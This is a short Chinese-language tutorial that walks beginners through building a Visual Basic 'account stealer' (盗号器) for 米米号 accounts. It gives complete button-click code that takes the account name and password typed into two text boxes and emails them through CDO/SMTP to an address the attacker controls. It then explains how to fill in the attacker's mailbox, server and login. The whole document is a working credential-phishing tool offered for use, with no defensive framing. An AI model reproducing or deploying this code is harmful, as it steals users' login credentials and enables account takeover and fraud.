我们先做个简单的
双击 command1 会弹出一个窗口
在
Private Sub Command1_Click()
这里添加代码
End Sub
代码如下
————————分割线不要复制———————————————
Dim NameS As String
Dim Email As Object
NameS ="
http://schemas.microsoft.com/cdo/configuration/"
Set Email =CreateObject("CDO.Message")
Email.From = "邮箱地址”
Email.To = "邮箱地址"
Email.Subject = "米米号"
Email.Textbody = Text1 & "&" + Text2
Email.Configuration.Fields.Item(NameS &"sendusing") = 2
Email.Configuration.Fields.Item(NameS &"smtpserver") = "邮件服务器”
Email.Configuration.Fields.Item(NameS &"smtpserverport") = 25
Email.Configuration.Fields.Item(NameS &"smtpauthenticate") = 1
Email.Configuration.Fields.Item(NameS &"sendusername") = "账号"
Email.Configuration.Fields.Item(NameS &"sendpassword") = "密码"
Email.Configuration.Fields.Update
Email.send
————————分割线不要复制———————————————
代码复制好了需要稍作修改
1.正数第五行 Email.From = "邮箱地址”
把“邮箱地址”里的内容改为自己的邮箱如
Email.From = "abc@163.com
2.正数第六行” Email.To = "邮箱地址"
也把“邮箱地址”里的内容改为自己的邮箱(为了方便)如
Email.To = "abc@163.com
3.正数第十行
Email.Configuration.Fields.Item(NameS &"smtpserver") = "邮件服务器”
把“邮件服务器”里的内容是qq邮箱就改为smtp.qq.com
是163邮箱就改为smtp.163.com
4.倒数第四行
Email.Configuration.Fields.Item(NameS &"sendusername") = "账号"
把“账号”里的内容改为邮箱@前的账号 如我的邮箱是 abc@163.com 就写abc
4.倒数第三行
Email.Configuration.Fields.Item(NameS &"sendpassword") = "密码"
把“密码”里的内容改成自己邮箱的密码
Ok!一个盗号器就大功告成了